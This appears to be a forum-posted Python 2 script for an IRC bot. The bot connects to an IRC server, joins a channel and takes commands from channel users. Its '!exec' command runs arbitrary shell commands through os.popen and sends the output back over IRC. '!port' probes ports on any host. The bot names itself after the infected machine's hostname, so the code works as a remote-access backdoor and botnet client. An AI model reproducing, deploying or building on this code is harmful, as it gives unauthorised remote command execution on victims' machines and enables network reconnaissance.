Код:
#-----------------------------------------------+
# ._____________________. |
# Coded by slav0nic | slav0nic0@gmail.com | |
# ^---------------------^ |
# Site: slav0nic.xss.ru |
#-----------------------------------------------+
#
#
#commands: !exit','!port','!version','!exec'
#!port [host][port] - check open port
#!exec [commend] - exec command
import socket
import os
import sys
from random import *
from time import *
class IRC:
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port=6667
self.ch_key=''
self.nick = 'slav'+str(randrange(1000)) #bot name
self.entermsg='[+]ok' #send msg to chan after connect
self.autoentermsg=1 #send self.entermsg
self._exec='!exec' #prefix for shell command
self.bot_commands=['!exit','!port','!version','!get',self._exec]
# self.encoding='1251' #default Russian (encode in you irc client)
self.sleep=0.1 #delay between send !exec result lines
self.version='0.2'
def loop(self):
try:
self.sock.connect((self.host, self.port))
self.sock.send('NICK %s\r\n' % self.nick)
self.sock.send('USER localhost localhost localhost : slavar\r\n')
self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
if self.autoentermsg: self.__sendprivmsg(self.entermsg)
while True:
self.res_data = self.sock.recv(1024)
print self.res_data #dbg
if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
self.sock.close()
print '[-]Serv error' #dbg
sys.exit(1)
if self.res_data.startswith('PING'):
self.sock.send('PONG : PING\r\n')
elif self.res_data.find('PRIVMSG')!=-1:
msg,msg_type,command,from_=self.__pars_privmsg()
print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
if (msg_type=="to_user" and command!=''): #this is a bot command
if command in self.bot_commands:
if command=='!exit':
self.__ircexit()
self.sock.close()
sys.exit(0)
elif command=='!version':
self.__sendto_user(from_,'Version= \x0303%s'%self.version)
elif command=='!exec':
stdout=os.popen(msg[(len(command)+1):])
for line in stdout.readlines() :
sleep(self.sleep)
self.__sendto_user(from_,line)
#print line #dbg
## elif command=='!get':
## """DCC SEND will be later ;)"""
## self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0])
elif command=='!port':
# print '%r %r'%(msg.split()[1],msg.split()[2]) #dbg
try:
x=self.__check_port(msg.split()[1],msg.split()[2])
except:
self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
x=-1
if x==1:
self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
elif x==-1:
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Close')
elif msg.startswith('\x01DCC SEND'):
print 'DCC SEND' #dbg
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)
except:
print '[-]Error:',sys.exc_value
def __ircexit(self):
self.sock.send('QUIT :\x0302Go offline\r\n')
def __sendprivmsg(self,msg):
self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))
def __sendto_user(self,user,msg):
self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))
def __pars_privmsg(self):
msg=self.res_data.split(':',2)[2][:-2]
if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan'
else: msg_type= 'to_user'
from_= self.res_data.split('!')[0].replace(':','')
if msg[0]=='!': command=msg.split()[0].replace('\r\n','')
else: command=''
return msg, msg_type,command,from_
def __check_port(self,host,port):
socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# socktest.settimeout(timeout)
try:
socktest.connect((host,int(port)))
return 1
except:
return 0
if __name__ == '__main__':
bot = IRC()
bot.host = 'irc.lamer.la' #irc server ip (default bot.port=6667)
bot.chan = '#chan'
bot.ch_key= '' #channel password
bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10))
# if os.fork():
bot.loop()